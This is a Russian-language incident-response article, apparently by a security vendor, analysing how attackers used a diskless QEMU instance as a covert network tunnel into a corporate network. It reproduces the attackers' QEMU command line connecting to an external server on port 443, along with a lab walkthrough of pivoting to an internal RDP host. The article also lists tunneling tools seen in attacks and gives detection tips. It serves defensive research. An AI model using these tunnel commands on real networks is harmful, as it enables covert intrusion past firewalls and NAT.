Злоумышленники зачастую отдают предпочтение легитимным инструментам, если во время атаки их достаточно для выполнения различных действий. Это позволяет избежать детектирования защитными решениями и минимизирует затраты на разработку ПО. Сканирование сети, получение слепков памяти системных процессов, выгрузка данных, удаленный запуск файлов и даже шифрование дисков — все это может быть сделано с использованием доверенных программ. Для подключения к атакованной инфраструктуре с целью дальнейшего развития атаки злоумышленники могут использовать заранее установленное вредоносное ПО или подключаться к сети наряду со штатными сотрудниками — через публично доступные RDP-серверы атакованной компании или корпоративный VPN (для этого у злоумышленников должны быть учётные записи с соответствующими привилегиями). Еще одним способом подключения ко внутренней сети атакованной компании является использование утилит для создания сетевых туннелей (или «проброса» сетевых портов) между внутренними системами в корпоративной сети и серверами злоумышленников (что позволяет последним получить доступ к системам во внутренней сети, минуя NAT и межсетевые экраны). Про эту категорию программ мы и хотим поговорить.
Статистика
В данный момент существует довольно много утилит, которые позволяют организовать сетевой туннель между двумя системами. Некоторые работают напрямую, другие используют промежуточный сервер (что позволяет злоумышленникам скрыть IP-адрес их сервера). За последние три года во время реагирования на компьютерные инциденты мы встречали следующие утилиты:
- Stowaway
- ligolo
- 3proxy
- dog-tunnel
- chisel
- FRP
- ngrok
- gs-netcat
- plink
- iox
- nps
Чаще других злоумышленники использовали ngrok и FRP, всего же подобные утилиты встречались в 10% от общего количества атак.
QEMU в качестве инструмента для создания сетевого туннеля
Несколько месяцев назад мы работали над инцидентом в одной крупной компании. Во время исследования в одной из систем была обнаружена нетипичная активность злоумышленников. Анализ артефактов показал, что в ходе атаки они разместили в этой системе и использовали:
- утилиту для сканирования сети Angry IP Scanner;
- программу mimikatz, которая предназначена для извлечения паролей, хэш-сумм паролей и билетов Kerberos из памяти ОС, а также проведения различных атак на Active Directory;
- программу для эмуляции аппаратного обеспечения различных платформ QEMU.
С первыми двумя программами все было очевидно, но использование QEMU вызвало вопросы. Зачем злоумышленникам потребовалась среда виртуализации?
Нам удалось вытащить из памяти атакованной системы командную строку, с которой запускалась QEMU. Выяснилось, что запуск происходил без образа жесткого диска или LiveCD, что очень нетипично для этой программы. Злоумышленники запускали QEMU со следующими параметрами:
1 2 3 |
qemu-system-i386.exe -m 1M -netdev user,id=lan,restrict=off -netdev socket,id=sock,connect=<IP>:443 -netdev hubport,id=port-lan,hubid=0,netdev=lan -netdev hubport,id=port-sock,hubid=0,netdev=sock -nographic |
Здесь <IP> — это внешний IP-адрес.
Рассмотрим эти параметры более подробно.
- -m 1M: задает размер оперативной памяти, выделяемой для виртуальной машины, который в данном случае составляет 1 мегабайт (что очень мало для большинства операционных систем).
- -netdev user,id=lan,restrict=off: создает виртуальный сетевой интерфейс с именем lan и типом user, который позволяет виртуальной машине общаться с внешним миром через сетевой стек хоста. Опция restrict=off означает, что нет ограничений на подключения входящих и исходящих соединений.
- -netdev socket,id=sock,connect=<IP>:443: создает сетевой интерфейс типа socket с именем sock, который позволяет подключиться к удаленному серверу по указанному IP-адресу и порту 443.
- -netdev hubport,id=port-lan,hubid=0,netdev=lan: добавляет порт к виртуальному хабу (с hubid=0), который связан с виртуальным сетевым интерфейсом lan.
- -netdev hubport,id=port-sock,hubid=0,netdev=sock: аналогично предыдущему добавляет еще один порт к тому же виртуальному хабу, связанный с виртуальным сетевым интерфейсом sock.
- -nographic: запускает QEMU без графического интерфейса, используя консоль для вывода.
IP-адрес в параметрах — внешний и никак не связан с атакованной компанией — сразу привлек наше внимание, поэтому мы обратились к документации QEMU. Выяснилось, что QEMU позволяет создать сетевое соединение между виртуальными машинами: опция -netdev используется для создания сетевых устройств (backend), которые затем могут быть подключены к виртуальным машинам. Каждое сетевое устройство (а их много) определяется своим типом и может иметь дополнительные параметры. Ниже приведем описание использованных вариантов опции -netdev.
user (пользовательский сетевой стек)
Это самый простой способ подключения виртуальной машины к сети. Трафик проходит через сетевой стек хоста, и виртуальная машина получает доступ к сети так, как если бы это была обычная программа на хостовой машине.
1 |
qemu-system-x86_64 -netdev user,id=mynet0 -device e1000,netdev=mynet0 |
Здесь mynet0 — это идентификатор сетевого backend, а e1000 — сетевой адаптер (frontend) внутри виртуальном машины.
hubport (виртуальный хаб)
Соединяет несколько сетевых устройств (аналог сетевого концентратора).
socket (cокет)
Этот вариант позволяет соединять виртуальные машины напрямую через сетевые сокеты, что может быть использовано для создания сетевых топологий между виртуальными машинами или для соединения таких машин на разных хостах.
# Первая виртуальная машина (VM1)
1 |
qemu-system-x86_64 -netdev socket,id=mynet3,listen=:1234 -device e1000,netdev=mynet3 |
# Вторая виртуальная машина (VM2), подключение к VM1
1 2 |
qemu-system-x86_64 -netdev socket,id=mynet4,connect=127.0.0.1:1234 -device e1000,netdev=mynet4 |
VM1 прослушивает сетевой порт 1234, в то время как VM2 подключается к нему. Именно этот способ выбрали злоумышленники: на скомпрометированной системе они запускали «клиент», который подключался к их серверу и предоставлял доступ к корпоративной сети, внутри которой «клиент» работал. Его работа практически не влияла на быстродействие скомпрометированной системы — ведь, как мы уже отметили, при запуске QEMU злоумышленники не использовали ни образ диска, ни LiveCD.
Мы не могли достоверно узнать, как запускалась QEMU на сервере злоумышленников, поэтому решили проверить вышеописанный способ с помощью тестового стенда, состоящего из трех систем.
- InternalHost расположена внутри сети и не имеет доступа в интернет. На ней был включен RDP-сервер на сетевом порту 3389. Эта система имитирует изолированную систему без доступа к интернету.
- PivotHost расположена внутри сети и имеет доступ в интернет. Она имитирует систему, к которой злоумышленники получили доступ и которая будет использоваться для доступа к InternalHost.
- AttackerServer расположена в облаке, имитирует сервер злоумышленников.
Нашей целью было получение сетевого доступа из системы AttackerServer к системе InternalHost. Общая схема туннеля представлена на рисунке.
В системе AttackerServer была запущена утилита QEMU для запуска виртуальной машины с LiveCD Kali Linux. К виртуальной машине в качестве сетевого адаптера подключалось сетевое устройство с типом socket, которое прослушивало сетевой порт 443.
1 2 |
qemu-system-x86_64 -boot d -cdrom kali-linux-2023.3-live-amd64.iso -m 6048 -device e1000,netdev=n1,mac=52:54:00:12:34:56 -smp 2 -netdev socket,id=n1,listen=:443 |
В системе PivotHost была запущена утилита QEMU, которая с помощью сетевого устройства типа socket подключалась к порту 443 расположенного в облаке сервера AttackerServer. Кроме того, было подключено сетевое устройство с типом user, которое было объединено с устройством типа socket с помощью хаба. Параметры запуска QEMU аналогичны тем, которые использовались злоумышленниками:
1 2 3 |
qemu-system-i386.exe -m 1M -netdev user,id=lan,restrict=off -netdev socket,id=sock,connect=<AttackerServer>:443 -netdev hubport,id=port- lan,hubid=0,netdev=lan -netdev hubport,id=port-sock,hubid=0,netdev=sock -nographic |
После запуска QEMU создала сетевой туннель от системы PivotHost к системе AttackerServer (а точнее, к виртуальной машине с Kali Linux). В Kali Linux можно просканировать подсеть, к которой подключена система PivotHost, на наличие других систем:
В результате сканирования мы обнаружили систему InternalHost, имеющую IP-адрес 192.168.56.109. Утилита nmap показала, что в системе открыт порт 3389. Мы попробовали подключиться к InternalHost по протоколу RDP:
Таким образом нам удалось выяснить, что данный способ подключения ко внутренней сети действительно работает. Помимо рассмотренных выше, есть еще несколько поддерживаемых QEMU типов сетевых устройств, которые также могут быть использованы злоумышленниками.
Анализ сетевого трафика QEMU
QEMU при передаче (туннелировании) сетевого трафика не использует дополнительное шифрование. Инкапсулированные пакеты передаются в открытом виде: в данных отправленного на сервер пакета (на прикладном уровне) содержится сначала длина инкапсулированного Ethernet-кадра (4 байта, на рисунке ниже выделены рамкой желтого цвета), а затем сам Ethernet-кадр (выделен рамкой красного цвета):
На этом рисунке длина инкапсулированного Ethernet-кадра составляет 89 (0x59) байт. Сразу после этого значения расположен инкапсулированный Ethernet-кадр.
Имея дамп сетевого трафика (в нашем случае, перехваченного на системе PivotHost), можно получить из него инкапсулированный трафик, удалив первые 58 байт (для протокола TCP: 14 байт Ethernet + 20 байт IP + 20 байт TCP-заголовки + 4 байта размер внутреннего пакета). Это можно сделать с помощью утилиты editcap из пакета Wireshark (предварительно необходимо удалить из pcap-файла все пакеты, которые не содержат инкапсулированного трафика).
1 |
editcap.exe -L -C 58 original.pcap extracted_traffic.pcap |
В результате получится pcap-файл с сетевым трафиком, который был передан внутри туннеля:
Заключение
Использование злоумышленниками легитимных программ для выполнения различных задач в ходе атаки — не новость для тех, кто занимается реагированием на инциденты. Однако стоит признать, что иногда атакующие находят весьма оригинальные способы применения не самых очевидных программ, как это было в случае с QEMU. Это еще один аргумент в пользу концепции многоуровневой (эшелонированной) защиты, которая включает в себя, помимо надежного решения для защиты конечных точек, также специализированные решения для обнаружения и защиты от сложных и таргетированных атак, в том числе управляемых человеком. Только комплексная защита, включающая в себя круглосуточный мониторинг активности в сети (NDR, NGFW) и на конечных устройствах (EDR, EPP), например, экспертами SOC, позволит вовремя выявить аномалии и заблокировать атаку на начальном этапе. Обнаружение подобной подозрительной активности QEMU уже работает в нашем сервисе MDR. Кроме того, IDS-правило на подозрительную сетевую активность QEMU добавлено в решение KATA, вердикт Backdoor.Agent.QEMU.C&C.
Сетевой туннель с помощью… QEMU?